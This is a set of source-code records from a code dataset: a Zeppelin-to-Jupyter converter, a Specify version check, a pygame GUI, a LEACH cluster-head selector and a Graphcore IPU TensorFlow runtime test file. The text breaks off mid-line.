the Jupyter notebook\n\n Returns:\n The file name of the new Jupyter notebook\n \"\"\"\n if not self.notebook:\n logging.error(\"No notebook loaded. Unable to convert to Jupyter\")\n return \"\"\n\n jupyter_notebook = JupyterNotebook()\n\n if not name:\n name = (\n self.notebook.name\n if self.notebook.name\n else config.DEFAULT_JUPYTER_NAME\n )\n\n jupyter_notebook.cells = []\n jupyter_notebook.metadata = config.JHUB_METADATA\n jupyter_notebook.nbformat = config.JHUB[\"nbformat\"]\n jupyter_notebook.nbformat_minor = config.JHUB[\"nbformat_minor\"]\n\n counter = 0\n\n for cell_text in self.notebook.paragraphs:\n cell = {\n \"cell_type\": \"code\",\n \"execution_count\": None,\n \"metadata\": {},\n \"outputs\": [],\n \"source\": [],\n }\n\n cell_text_list = self._clean_cell(cell_text[\"text\"]).splitlines()\n\n for cell_line in cell_text_list:\n output = \"\"\n if counter > 0:\n output += self._clean_cell(\n cell_line, ignore_interpreter_binding=True\n )\n else:\n output += self._clean_cell(cell_line)\n\n output += \"\\n\"\n cell[\"source\"].append(output)\n counter += 1\n\n jupyter_notebook.cells.append(cell)\n\n if config.DEBUG:\n logging.debug(f\"Jupyter Notebook:\\n {jupyter_notebook.__dict__}\")\n\n try:\n if not name.endswith(\".ipynb\"):\n name = config.DEFAULT_OUTPUT_DIR + name + \".ipynb\"\n else:\n name = config.DEFAULT_OUTPUT_DIR + name\n\n with open(name, \"wt\") as jupyter_file:\n jupyter_file.write(jupyter_notebook.json_data + \"\\n\")\n except Exception as e:\n logging.error(\n f\"Exception encountered while writing Jupyter Notebook file: {str(e)}\"\n )\n if config.DEBUG:\n logging.debug(e)\n\n return name\n\n def convert_to_python(self, file_path: str) -> str:\n \"\"\"\n Convert a Zeppelin notebook to a Python file\n\n Args:\n file_path: The path of the Zeppelin notebook file\n\n Returns:\n The file name of the new Python file\n \"\"\"\n self.load_notebook(file_path)\n pyfile = self.to_python(file_path)\n return pyfile\n\n def convert_to_jupyter(self, file_path: str) -> str:\n \"\"\"\n Convert a Zeppelin notebook to a Jupyter notebook\n\n Args:\n file_path: The path of the Zeppelin notebook file\n\n Returns:\n The file name of the new Jupyter notebook\n \"\"\"\n self.load_notebook(file_path)\n pyfile = self.to_jupyter_notebook(file_path)\n return pyfile\n\n\nif __name__ == \"__main__\":\n print(\n \"Converting Sample Notebook to Python:\\n-------------------------------------\"\n )\n ZeppelinConverter().convert_to_python(\"data/sample-notebook.json\")\n print(\n \"Converting Sample Notebook to Jupyter:\\n--------------------------------------\"\n )\n ZeppelinConverter().convert_to_jupyter(\"data/sample-notebook.json\")\n\n ZeppelinConverter().convert_to_python(\"/home/stelios/Desktop/test.json\")\n","repo_name":"stvoutsin/zeppelinto","sub_path":"zeppelinto/zeppelinto.py","file_name":"zeppelinto.py","file_ext":"py","file_size_in_byte":6627,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"25450641770","text":"from django.conf import settings\nfrom django.utils.translation import gettext as _\nfrom xml.etree import ElementTree\nimport os\nimport re\n\nfrom .specify_jar import specify_jar\n\ndef check_versions(Spversion):\n \"\"\"Check schema and application version compatibility.\"\"\"\n SPECIFY_VERSION = re.findall(r'SPECIFY_VERSION=(.*)',\n specify_jar.read('resources_en.properties'))[0]\n\n SCHEMA_VERSION = ElementTree.parse(os.path.join(settings.SPECIFY_CONFIG_DIR, 'schema_version.xml')).getroot().text\n\n if not settings.TESTING:\n spversion = Spversion.objects.get()\n assert spversion.appversion == SPECIFY_VERSION and spversion.schemaversion == SCHEMA_VERSION, _(\n \"Specify version: %(specify_version)s, Schema Version: \"\n \"%(schema_version)s do not match database values: \"\n \"%(app_specify_version)s, %(app_schema_version)s\\n\"\n \"Please update and/or run the host thickclient installation \"\n \"at %(thich_client_location)s to update the database.\") % {\n 'specify_version': SPECIFY_VERSION,\n 'schema_version': SCHEMA_VERSION,\n 'app_specify_version': spversion.appversion,\n 'app_schema_version': spversion.schemaversion,\n 'thich_client_location': settings.SPECIFY_THICK_CLIENT\n }\n","repo_name":"specify/specify7","sub_path":"specifyweb/specify/check_versions.py","file_name":"check_versions.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"22"} +{"seq_id":"37798083482","text":"import os\nimport pygame\n\n\ndef show_achievement(result, font, cur, con, screen):\n x, y = 205, 105 \n screen.blit(load_image('space.png'), (0, 0))\n pygame.draw.rect(screen, (255, 255, 255), (200, 100, 1000, 500)) \n pygame.draw.rect(screen, (255, 255, 255), (200, 100, 1000, 500))\n pygame.draw.rect(screen, (0, 0, 0), (200, 100, 1000, 500), 3) \n pygame.draw.rect(screen, (255, 255, 255), (50, 50, 50, 60), 3)\n screen.blit(load_image('back.png'), (50, 50)) \n for i in range(len(result)):\n for elem in result[i]: \n screen.blit(font.render(str(elem), 3, pygame.Color('black')), \n (x, y))\n x += 20\n x = 205\n y += 20\n \n \ndef load_image(name, colorkey=None):\n fullname = os.path.join('data1', name)\n image = pygame.image.load(fullname).convert()\n if colorkey is not None:\n colorkey = image.get_at((0, 0))\n image.set_colorkey(colorkey)\n return image\n\n \ndef animation(screen, font): \n Music_for_game('Audio1.mp3')\n pygame.draw.rect(screen, pygame.Color('white'), (298, 234, 780, 120)) \n font = pygame.font.Font(None, 150)\n text = font.render('Create Planet', 5, pygame.Color('black'))\n text_x, text_y = 304, 244 \n screen.blit(text, (text_x, text_y))\n pygame.display.flip() \n \n \nclass Music_for_game():\n def __init__(self, name):\n pygame.mixer.music.load(name)\n pygame.mixer.music.play() \n \n \nclass Start_play():\n def __init__(self, font, screen):\n font = pygame.font.Font(None, 100)\n self.image = load_image(\"earth.png\", True)\n self.image_of_game = load_image('логотип.png')\n self.image_of_rocket = load_image(\"ракета.png\", True)\n self.planet_turquesa = load_image(\"Turquesa.png\") \n self.image_of_button_start_game = load_image(\"Кнопка.png\")\n self.image_of_button_achievement = load_image(\"Кнопка1.png\") \n self.view_of_screen(screen)\n \n def view_of_screen(self, screen):\n screen.blit(load_image('space.png'), (0, 0))\n screen.blit(self.image, (450, 120))\n screen.blit(self.image_of_game, (50, 70))\n screen.blit(self.image_of_rocket, (840, 420))\n screen.blit(self.image_of_button_start_game, (1150, 620))\n screen.blit(self.image_of_button_achievement, (50, 620)) \n self.start_game = pygame.draw.rect(screen, (255, 255, 255), (1150, 620, 162, 91), 3)\n self.achievement = pygame.draw.rect(screen, (255, 255, 255), (50, 620, 200, 91), 3)\n \n def choose(self, screen, game_event):\n if game_event == 'choice':\n screen.fill((0, 0, 0))\n screen.blit(self.planet_turquesa, (50, 30))","repo_name":"Anzhelika19262/Create-a-planet","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"73045655095","text":"import random\nrandom.seed(9)\nfrom LEACH_basics import Sensor\n\n\ndef start(sensors: list[Sensor], model, round_number: int):\n CH = []\n n = model.n\n\n for sensor in sensors[:-1]:\n if sensor.E > 0 and sensor.G <= 0:\n temp = random.uniform(0,1)\n value = model.p / (1 - model.p * (round_number % round(1 / model.p)))\n if temp <= value:\n CH.append(sensor.id)\n sensor.type = 'C'\n sensor.G = round(1 / model.p) - 1\n return CH","repo_name":"CezaryCwikla/Symulator","sub_path":"fun/LEACH_select_ch.py","file_name":"LEACH_select_ch.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"15423745192","text":"import os\nimport tempfile\nfrom functools import partial, reduce\nimport threading\nfrom absl.testing import parameterized\nimport numpy as np\n\nfrom tensorflow.python.client import session as sl\nfrom tensorflow.python.framework import test_util\nfrom tensorflow.python.framework import versions\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import init_ops\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops import variable_scope\nfrom tensorflow.python.ops import variables\nfrom tensorflow.python.ops import metrics\nfrom tensorflow.python.ops import nn, nn_ops\nfrom tensorflow.python.data.ops import dataset_ops\nfrom tensorflow.python.platform import googletest\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import errors\nfrom tensorflow.python.framework import ops, dtypes\nfrom tensorflow.compiler.plugin.poplar.ops import gen_application_runtime\nfrom tensorflow.python.ipu import test_utils as tu\nfrom tensorflow.python.ipu import ipu_compiler, scopes, loops, ipu_infeed_queue, ipu_outfeed_queue\nfrom tensorflow.python.ipu import dataset_benchmark\nfrom tensorflow.python.ipu import rand_ops\nfrom tensorflow.python.ipu import config\nfrom tensorflow.python.ipu.ops import application_compile_op\nfrom tensorflow.compat.v1 import disable_v2_behavior\nfrom tensorflow.python.training import momentum\nfrom tensorflow.python.keras.datasets import mnist\nfrom tensorflow.compat.v1 import train\nfrom tensorflow.python.ipu import embedded_runtime\nfrom tensorflow.python.ipu import pipelining_ops\n\nops.disable_eager_execution()\ndisable_v2_behavior()\n\nL1_SIZE = 320\nL2_SIZE = 72\nL3_SIZE = 10\nNUM_PIXELS = 784\nBATCH_SIZE = 16\nNUM_ITERATIONS = 8\nNUM_ENGINE_ITERATIONS = 4\n\nNUM_ENGINES = 2\nNUM_THREADS_PER_ENGINE = 4\nNUM_SESSIONS = 4\n\nNUM_TEST_ITERATIONS = NUM_ENGINES * NUM_SESSIONS * NUM_THREADS_PER_ENGINE \\\n * NUM_ENGINE_ITERATIONS * NUM_ITERATIONS\nNUM_OUTER_ITERATIONS = NUM_ENGINES * NUM_SESSIONS * NUM_THREADS_PER_ENGINE \\\n * NUM_ENGINE_ITERATIONS\n\n\ndef dense_layer(hiddenSize, input_, scope_name):\n with variable_scope.variable_scope(scope_name,\n reuse=variable_scope.AUTO_REUSE,\n use_resource=True):\n w = variable_scope.get_variable(\n \"weight\",\n shape=[input_.shape[-1], hiddenSize],\n initializer=init_ops.glorot_uniform_initializer())\n b = variable_scope.get_variable(\n \"bias\",\n shape=[hiddenSize],\n initializer=init_ops.glorot_uniform_initializer())\n return nn.relu_layer(input_, w, b)\n\n\ndef test_model(outqueue, inputs):\n relu1 = dense_layer(L1_SIZE, inputs, \"d1\")\n relu2 = dense_layer(L2_SIZE, relu1, \"d2\")\n relu3 = dense_layer(L3_SIZE, relu2, \"d3\")\n\n return outqueue.enqueue({'predictions': relu3})\n\n\ndef test_model_pipelined(infeed_queue, outfeed_queue):\n pipeline_depth = 2\n\n def stage1(images):\n relu1 = dense_layer(L1_SIZE, images, \"d1\")\n return relu1\n\n def stage2(relu1):\n relu2 = dense_layer(L2_SIZE, relu1, \"d2\")\n relu3 = dense_layer(L3_SIZE, relu2, \"d3\")\n return relu3\n\n return pipelining_ops.pipeline(\n [stage1, stage2],\n gradient_accumulation_count=pipeline_depth,\n repeat_count=NUM_ITERATIONS / pipeline_depth,\n infeed_queue=infeed_queue,\n outfeed_queue=outfeed_queue,\n pipeline_schedule=pipelining_ops.PipelineSchedule.Interleaved)\n\n\ndef loop_builder(iterations, builder_func, infeed):\n return loops.repeat(iterations, builder_func, [], infeed)\n\n\ndef run_and_export_model(tmp_dir,\n poplar_exec_output_path,\n pipelined,\n freeze_variables=True,\n images=None):\n n_test = BATCH_SIZE * NUM_TEST_ITERATIONS\n if images is None:\n images = np.random.rand(n_test, NUM_PIXELS).astype(np.float32)\n\n test_dataset = dataset_ops.Dataset.from_tensor_slices((images,))\n test_dataset = test_dataset.cache().repeat().batch(BATCH_SIZE,\n drop_remainder=True)\n\n infeed_test_queue = ipu_infeed_queue.IPUInfeedQueue(test_dataset)\n outfeed_test_queue = ipu_outfeed_queue.IPUOutfeedQueue()\n\n if pipelined:\n bound_test_loop = partial(test_model_pipelined, infeed_test_queue,\n outfeed_test_queue)\n else:\n bound_test_model = partial(test_model, outfeed_test_queue)\n bound_test_loop = partial(loop_builder, NUM_ITERATIONS, bound_test_model,\n infeed_test_queue)\n\n # Use the bound builder functions to place the model on the IPU:\n with scopes.ipu_scope(\"/device:IPU:0\"):\n test_loop = ipu_compiler.compile(bound_test_loop)\n\n # Initialisers should go on the CPU:\n with ops.device(\"cpu\"):\n saver = train.Saver()\n\n # Setup and acquire an IPU device:\n cfg = config.IPUConfig()\n cfg.auto_select_ipus = 2 if pipelined else 1\n tu.add_hw_ci_connection_options(cfg)\n cfg.configure_ipu_system()\n\n # These allow us to retrieve the results of IPU feeds:\n dequeue_test_outfeed = outfeed_test_queue.dequeue()\n\n # Run the model:\n with sl.Session() as sess:\n sess.run(variables.global_variables_initializer())\n\n model_save_path = f'{tmp_dir}/model'\n saver.save(sess, model_save_path)\n\n print(f\" Testing...\")\n\n output = np.empty(\n [NUM_OUTER_ITERATIONS, NUM_ITERATIONS, BATCH_SIZE, L3_SIZE],\n dtype='float32')\n\n sess.run(infeed_test_queue.initializer)\n\n for ei in range(NUM_OUTER_ITERATIONS):\n sess.run(test_loop)\n result = sess.run(dequeue_test_outfeed,)\n if pipelined:\n output[ei, :, :, :] = result[0] if versions.VERSION.startswith(\n '1') else result\n else:\n output[ei, :, :, :] = result['predictions']\n\n d1_bias = train.load_variable(model_save_path, 'd1/bias')\n d1_weight = train.load_variable(model_save_path, 'd1/weight')\n d2_bias = train.load_variable(model_save_path, 'd2/bias')\n d2_weight = train.load_variable(model_save_path, 'd2/weight')\n d3_bias = train.load_variable(model_save_path, 'd3/bias')\n d3_weight = train.load_variable(model_save_path, 'd3/weight')\n\n model_ref = dict(d1_bias=d1_bias,\n d1_weight=d1_weight,\n d2_bias=d2_bias,\n d2_weight=d2_weight,\n d3_bias=d3_bias,\n d3_weight=d3_weight,\n images=images,\n output=output)\n\n # Use a new graph and session for the compilation.\n with ops.Graph().as_default(), sl.Session() as sess:\n compile_op = application_compile_op.experimental_application_compile_op(\n bound_test_loop,\n output_path=poplar_exec_output_path,\n freeze_variables=freeze_variables)\n\n # Load the weights into the new session.\n train.Saver().restore(sess, model_save_path)\n\n print(f\" Compiling and exporting...\")\n sess.run(compile_op)\n\n config.reset_ipu_configuration()\n\n return model_ref\n\n\ndef _build_executable(tmp_dir_obj,\n pipelined=False,\n freeze_variables=True,\n poplar_exec_filepath=None,\n images=None):\n tmp_dir = tmp_dir_obj.name\n\n if poplar_exec_filepath is None:\n poplar_exec_filepath = os.path.join(tmp_dir, \"application.poplar_exec\")\n\n model_ref = run_and_export_model(tmp_dir,\n poplar_exec_filepath,\n pipelined,\n freeze_variables=freeze_variables,\n images=images)\n\n return (model_ref, poplar_exec_filepath)\n\n\nTESTCASES = [{\n 'testcase_name':\n (f'_pipelined_{pipelined}_multiple_sessions_{multiple_sessions}_' +\n f'multiple_threads_{multiple_threads}_' +\n f'multiple_engines_{multiple_engines}'),\n 'pipelined':\n pipelined,\n 'multiple_sessions':\n multiple_sessions,\n 'multiple_threads':\n multiple_threads,\n 'multiple_engines':\n multiple_engines,\n} for pipelined in [False, True] for multiple_sessions in [False, True]\n for multiple_threads in [False, True]\n for multiple_engines in [False, True]]\n\n\nclass ApplicationRuntimeTest(test_util.TensorFlowTestCase,\n parameterized.TestCase):\n reference_cache_initiazed = False\n initializer_lock = threading.Lock()\n\n @staticmethod\n def __init_reference_data():\n with ApplicationRuntimeTest.initializer_lock:\n if not ApplicationRuntimeTest.reference_cache_initiazed:\n ApplicationRuntimeTest.tmp_dir_obj = tempfile.TemporaryDirectory()\n tmp_dir_obj = ApplicationRuntimeTest.tmp_dir_obj\n tmp_dir = tmp_dir_obj.name\n\n ApplicationRuntimeTest.non_pipelined_poplar_exec_filepath = \\\n os.path.join(tmp_dir,\n \"non_pipelined_application.poplar_exec\")\n ApplicationRuntimeTest.pipelined_poplar_exec_filepath = \\\n os.path.join(tmp_dir,\n \"pipelined_application.poplar_exec\")\n\n n_test = NUM_TEST_ITERATIONS * BATCH_SIZE\n ApplicationRuntimeTest.images = np.random.rand(\n n_test, NUM_PIXELS).astype(np.float32)\n images = ApplicationRuntimeTest.images\n\n ApplicationRuntimeTest.non_pipelined_model_ref, _ = _build_executable(\n tmp_dir_obj,\n pipelined=False,\n freeze_variables=True,\n poplar_exec_filepath=ApplicationRuntimeTest.\n non_pipelined_poplar_exec_filepath,\n images=images)\n\n ApplicationRuntimeTest.pipelined_model_ref, _ = _build_executable(\n tmp_dir_obj,\n pipelined=True,\n freeze_variables=True,\n poplar_exec_filepath=ApplicationRuntimeTest.\n pipelined_poplar_exec_filepath,\n images=images)\n\n ApplicationRuntimeTest.reference_cache_initiazed = True\n\n @parameterized.named_parameters(*TESTCASES)\n @tu.test_uses_ipus(num_ipus=2)\n @test_util.deprecated_graph_mode_only\n def test(self, pipelined, multiple_sessions, multiple_threads,\n multiple_engines):\n ApplicationRuntimeTest.__init_reference_data()\n\n if (multiple_sessions or multiple_engines\n or pipelined) and not multiple_threads:\n return\n\n if multiple_engines and not multiple_sessions:\n return\n\n if pipelined:\n poplar_exec_filepath = \\\n ApplicationRuntimeTest.pipelined_poplar_exec_filepath\n ref_output = ApplicationRuntimeTest.pipelined_model_ref['output']\n else:\n poplar_exec_filepath = \\\n ApplicationRuntimeTest.non_pipelined_poplar_exec_filepath\n ref_output = ApplicationRuntimeTest.non_pipelined_model_ref['output']\n\n images = ApplicationRuntimeTest.images\n\n num_engines = NUM_ENGINES if multiple_engines else 1\n num_threads_per_engine = NUM_THREADS_PER_ENGINE if multiple_threads else 1\n\n num_threads = num_engines * num_threads_per_engine\n\n images_ph = array_ops.placeholder(dtypes.float32,\n shape=[BATCH_SIZE, NUM_PIXELS],\n name='images')\n\n test_shape = (num_threads, NUM_ENGINE_ITERATIONS, NUM_ITERATIONS)\n n_test = reduce(lambda p, x: p * x, test_shape)\n\n images_local = images.reshape((-1, BATCH_SIZE, NUM_PIXELS))\n images_local = images_local[0:n_test, :, :]\n images_local = images_local.reshape(*(test_shape +\n (BATCH_SIZE, NUM_PIXELS)))\n\n ref_output = ref_output.reshape((-1, BATCH_SIZE, L3_SIZE))\n ref_output = ref_output[0:n_test, :, :]\n ref_output = ref_output.reshape(*(test_shape + (BATCH_SIZE, L3_SIZE)))\n\n output = np.empty(ref_output.shape, dtype='float32')\n\n engine_name_prefix = f'engine_pipelined_{pipelined}'\n\n def run_loops(sess, result, infeeds, t):\n for ei in range(NUM_ENGINE_ITERATIONS):\n for li in range(NUM_ITERATIONS):\n images_host = images_local[t, ei, li, :, :]\n\n results = sess.run(\n result,\n feed_dict={\n infeeds: (images_host,), # pylint: disable=cell-var-from-loop\n })\n output[t, ei, li, :, :] = results[0]\n\n def inference_thread(sess, res, infeeds_, t):\n if multiple_engines:\n engine_name = f'{engine_name_prefix}_{t % NUM_ENGINES}'\n else:\n engine_name = engine_name_prefix\n\n if multiple_sessions:\n with sl.Session() as session:\n run_app = gen_application_runtime.application_runtime(\n inputs=(),\n filename=ops.convert_to_tensor(poplar_exec_filepath,\n dtype=dtypes.string),\n engine_name=engine_name)\n\n images_ph = array_ops.placeholder(dtypes.float32,\n shape=[BATCH_SIZE, NUM_PIXELS],\n name='images')\n\n infeeds = (images_ph,)\n result = gen_application_runtime.application_call(\n infeeds,\n anchor=run_app,\n outfeed_types=[dtypes.float32],\n engine_name=engine_name)\n\n session.graph.finalize()\n run_loops(session, result, infeeds, t)\n else:\n with sess.graph.as_default():\n with sess.as_default():\n if multiple_engines:\n run_app = gen_application_runtime.application_runtime(\n inputs=(),\n filename=ops.convert_to_tensor(poplar_exec_filepath,\n dtype=dtypes.string),\n engine_name=engine_name)\n\n images_ph = array_ops.placeholder(dtypes.float32,\n shape=[BATCH_SIZE, NUM_PIXELS],\n name=f'images')\n\n infeeds = (images_ph,)\n result = gen_application_runtime.application_call(\n infeeds,\n anchor=run_app,\n outfeed_types=[dtypes.float32],\n engine_name=engine_name)\n\n run_loops(sess, result, infeeds, t)\n else:\n run_loops(sess, res, infeeds_, t)\n\n def run_across_threads(session=None, result=None, infeeds=None):\n thread_list = []\n for t in range(num_threads):\n if multiple_threads:\n thread = threading.Thread(target=inference_thread,\n args=(session, result, infeeds, t))\n thread_list.append(thread)\n thread.start()\n else:\n inference_thread(session, result, infeeds, t)\n\n for thread in thread_list:\n thread.join()\n\n if multiple_sessions:\n run_across_threads()\n elif multiple_engines:\n with sl.Session() as session:\n run_across_threads(session, None, None)\n else:\n with sl.Session() as session:\n run_app = gen_application_runtime.application_runtime(\n inputs=(),\n filename=ops.convert_to_tensor(poplar_exec_filepath,\n dtype=dtypes.string),\n engine_name=engine_name_prefix)\n\n images_ph = array_ops.placeholder(dtypes.float32,\n shape=[BATCH_SIZE, NUM_PIXELS],\n name='images')\n\n infeeds = (images_ph,)\n result = gen_application_runtime.application_call(\n infeeds,\n anchor=run_app,\n outfeed_types=[dtypes.float32],\n engine_name=engine_name_prefix)\n\n session.graph.finalize()\n run_across_threads(session, result, infeeds)\n\n self.assertAllClose(ref_output, output)\n\n\nclass EmbeddedRuntimeTest(test_util.TensorFlowTestCase,\n parameterized.TestCase):\n @tu.test_uses_ipus(num_ipus=1)\n @test_util.deprecated_graph_mode_only\n def test_embedded_runtime_wrapper(self):\n tmp_dir_obj = tempfile.TemporaryDirectory()\n\n model_ref, poplar_exec_filepath = _build_executable(tmp_dir_obj,\n pipelined=False,\n freeze_variables=False)\n\n input_descs = [\n ('XLA_Args/d1/weight', [NUM_PIXELS, L1_SIZE], dtypes.float32, 0),\n ('XLA_Args/d1/bias', [L1_SIZE], dtypes.float32, 1),\n ('XLA_Args/d2/weight', [L1_SIZE, L2_SIZE], dtypes.float32, 2),\n ('XLA_Args/d2/bias', [L2_SIZE], dtypes.float32, 3),\n ('XLA_Args/d3/weight', [L2_SIZE, L3_SIZE], dtypes.float32, 4),\n ('XLA_Args/d3/bias', [L3_SIZE], dtypes.float32, 5),\n ]\n\n inputs = {\n 'XLA_Args/d1/weight': model_ref['d1_weight'],\n 'XLA_Args/d1/bias': model_ref['d1_bias'],\n 'XLA_Args/d2/weight': model_ref['d2_weight'],\n 'XLA_Args/d2/bias': model_ref['d2_bias'],\n 'XLA_Args/d3/weight': model_ref['d3_weight'],\n 'XLA_Args/d3/bias': model_ref['d3_bias'],\n }\n\n input_placeholders = []\n input_list = [None] * len(input_descs)\n for name, shape, dtype, order in input_descs:\n input_ph = array_ops.placeholder(dtype, shape=shape, name=name)\n input_placeholders.append(input_ph)\n input_list[order] = inputs[name]\n\n input_tuple = tuple(input_list)\n\n input_placeholders = tuple(input_placeholders)\n\n n_test = NUM_TEST_ITERATIONS\n\n images = array_ops.placeholder(dtypes.float32,\n shape=[BATCH_SIZE, NUM_PIXELS],\n name='images')\n\n images_all = model_ref['images'].reshape((-1, BATCH_SIZE, NUM_PIXELS))\n images_all = images_all[0:n_test, :, :]\n\n labels_all = np.ones([n_test, BATCH_SIZE, L3_SIZE], dtype='float32')\n\n labels_ref = model_ref['output'].reshape((-1, BATCH_SIZE, L3_SIZE))\n labels_ref = labels_ref[0:n_test, :, :]\n\n with sl.Session() as session:\n engine_name = f'engine_{self.id()}'\n\n ctx = embedded_runtime.embedded_runtime_start(poplar_exec_filepath,\n inputs, engine_name)\n\n infeeds = (images,)\n result = embedded_runtime.embedded_runtime_call(infeeds, ctx)\n\n for j in range(n_test):\n images_host = images_all[j, :, :]\n\n results = session.run(result,\n feed_dict={\n infeeds: (images_host,),\n input_placeholders: input_tuple,\n })\n labels_all[j, :, :] = results[0]\n\n self.assertAllClose(labels_ref, labels_all)\n\n @tu.test_uses_ipus(num_ipus=1)\n @test_util.deprecated_graph_mode_only\n def test_embedded_runtime_input_error(self):\n tmp_dir_obj = tempfile.TemporaryDirectory()\n model_ref, poplar_exec_filepath = _build_executable(tmp_dir_obj,\n pipelined=False,\n freeze_variables=False)\n\n inputs = {\n 'XLA_Args/d1/bias': model_ref['d1_bias'],\n 'XLA_Args/d1/weight': model_ref['d1_weight'],\n 'XLA_Args/d2/bias': model_ref['d2_bias'],\n 'XLA_Args/d3/bias': model_ref['d3_bias'],\n 'XLA_Args/d3/weight': model_ref['d3_weight'],\n }\n\n with sl.Session():\n engine_name = f'engine_{self.id()}'\n\n with self.assertRaisesRegex(\n Exception,\n \"Failed to find input tensor with name 'XLA_Args/d2/weight' in \"\n \"input dictionary.\"):\n embedded_runtime.embedded_runtime_start(poplar_exec_filepath, inputs,\n engine_name)\n\n @tu.test_uses_ipus(num_ipus=1)\n @test_util.deprecated_graph_mode_only\n def test_embedded_runtime_no_list(self):\n tmp_dir_obj = tempfile.TemporaryDirectory()\n _, poplar_exec_filepath = _build_executable(tmp_dir_obj,\n freeze_variables=False)\n\n with sl.Session():\n engine_name = f'engine_{self.id()}'\n\n with self.assertRaisesRegex(Exception,\n \"Expected the inputs to be a list.\"):\n embedded_runtime.embedded_runtime_start(poplar_exec_filepath, 4,\n engine_name)\n\n @tu.test_uses_ipus(num_ipus=1)\n @test_util.deprecated_graph_mode_only\n def test_embedded_runtime_too_many_inputs(self):\n tmp_dir_obj = tempfile.TemporaryDirectory()\n mnist_ref, poplar_exec_filepath = _build_executable(tmp_dir_obj,\n freeze_variables=False)\n\n inputs = [\n mnist_ref['d1_bias'], mnist_ref['d1_weight'], mnist_ref['d2_bias'],\n mnist_ref['d2_weight'], mnist_ref['d3_bias'], mnist_ref['d1_weight'],\n mnist_ref['d1_weight']\n ]\n\n with sl.Session():\n engine_name = f'engine_{self.id()}'\n\n with self.assertRaisesRegex(\n Exception,\n \"Embedded application runtime expects 6 inputs, but 7 were \"\n \"provided.\"):\n embedded_runtime.embedded_runtime_start(poplar_exec_filepath, inputs,\n engine_name)\n\n @tu.test_uses_ipus(num_ipus=1)\n @test_util.deprecated_graph_mode_only\n def test_embedded_runtime_too_few_inputs(self):\n tmp_dir_obj = tempfile.TemporaryDirectory()\n mnist_ref, poplar_exec_filepath = _build_executable(tmp_dir_obj,\n freeze_variables=False)\n\n inputs = [\n mnist_ref['d1_bias'], mnist_ref['d1_weight'], mnist_ref['d2_bias']\n ]\n\n with sl.Session():\n engine_name = f'engine_{self.id()}'\n\n with self.assertRaisesRegex(\n Exception,\n \"Embedded application runtime expects 6 inputs, but 3 were \"\n \"provided.\"):\n embedded_runtime.embedded_runtime_start(poplar_exec_filepath, inputs,\n engine_name)\n\n @tu.test_uses_ipus(num_ipus=1)\n @test_util.deprecated_graph_mode_only\n def test_embedded_runtime_wrong_shape(self):\n tmp_dir_obj = tempfile.TemporaryDirectory()\n model_ref, poplar_exec_filepath = _build_executable(tmp_dir_obj,\n freeze_variables=False)\n\n inputs = {\n 'XLA_Args/d1/weight': model_ref['d1_weight'],\n 'XLA_Args/d1/bias': model_ref['d1_weight'],\n 'XLA_Args/d2/weight': model_ref['d2_weight'],\n 'XLA_Args/d2/bias': model_ref['d2_bias'],\n 'XLA_Args/d3/weight': model_ref['d3_weight'],\n 'XLA_Args/d3/bias': model_ref['d3_bias'],\n }\n\n with sl.Session():\n engine_name = f'engine_{self.id()}'\n\n with self.assertRaisesRegex(\n Exception,\n \"Mismatched input shape at position 1 \\\\('XLA_Args/d1/bias'\\\\). \"\n \"Expected \\\\[320\\\\], but input 1 has shape \\\\[784, 320\\\\].\"):\n embedded_runtime.embedded_runtime_start(poplar_exec_filepath, inputs,\n engine_name)\n\n @tu.test_uses_ipus(num_ipus=1)\n @test_util.deprecated_graph_mode_only\n def test_embedded_runtime_wrong_type(self):\n tmp_dir_obj = tempfile.TemporaryDirectory()\n mnist_ref, poplar_exec_filepath = _build_executable(tmp_dir_obj,\n freeze_variables=False)\n\n inputs = [\n mnist_ref['d1_weight'],\n mnist_ref['d2_bias'],\n mnist_ref['d2_weight'],\n mnist_ref['d3_bias'],\n mnist_ref['d3_weight'],\n ]\n\n inputs = {\n 'XLA_Args/d1/weight': mnist_ref['d1_weight'],\n 'XLA_Args/d1/bias': np.ones((320), dtype=np.int32),\n 'XLA_Args/d2/weight': mnist_ref['d2_weight'],\n 'XLA_Args/d2/bias': mnist_ref['d2_bias'],\n 'XLA_Args/d3/weight': mnist_ref['d3_weight'],\n 'XLA_Args/d3/bias': mnist_ref['d3_bias'],\n }\n\n with sl.Session():\n engine_name = f'engine_{self.id()}'\n\n with self.assertRaisesRegex(\n Exception,\n \"Mismatched input dtype at position 1 \\\\('XLA_Args/d1/bias'\\\\). \"\n \"Expected , but input 1 has dtype int32.\"):\n embedded_runtime.embedded_runtime_start(poplar_exec_filepath, inputs,\n engine_name)\n\n @tu.test_uses_ipus(num_ipus=2)\n @test_util.deprecated_graph_mode_only\n def test_pipeline_flush(self):\n dataset = tu.create_single_increasing_dataset(5, shape=[2])\n dataset = dataset.batch(batch_size=2, drop_remainder=True)\n\n infeed_queue = ipu_infeed_queue.IPUInfeedQueue(dataset)\n outfeed_queue = ipu_outfeed_queue.IPUOutfeedQueue()\n\n def stage1(x):\n return x @ constant_op.constant(1.0, shape=[2, 2])\n\n def stage2(x):\n return math_ops.reduce_sum(x)\n\n def my_net():\n return pipelining_ops.pipeline([stage1, stage2],\n 12,\n infeed_queue=infeed_queue,\n outfeed_queue=outfeed_queue)\n\n with tu.ipu_session() as sess:\n cfg = config.IPUConfig()\n cfg.auto_select_ipus = 2\n tu.add_hw_ci_connection_options(cfg)\n cfg.configure_ipu_system()\n\n with tempfile.TemporaryDirectory() as tmp_dir:\n poplar_exec_filepath = os.path.join(tmp_dir, \"application.poplar_exec\")\n\n compile_op = application_compile_op.experimental_application_compile_op(\n my_net, output_path=poplar_exec_filepath)\n sess.run(compile_op)\n config.reset_ipu_configuration()\n\n ctx = embedded_runtime.embedded_runtime_start(poplar_exec_filepath, [],\n \"pipeline_flush\")\n input_data = array_ops.placeholder(np.float32, shape=[2, 2])\n result = 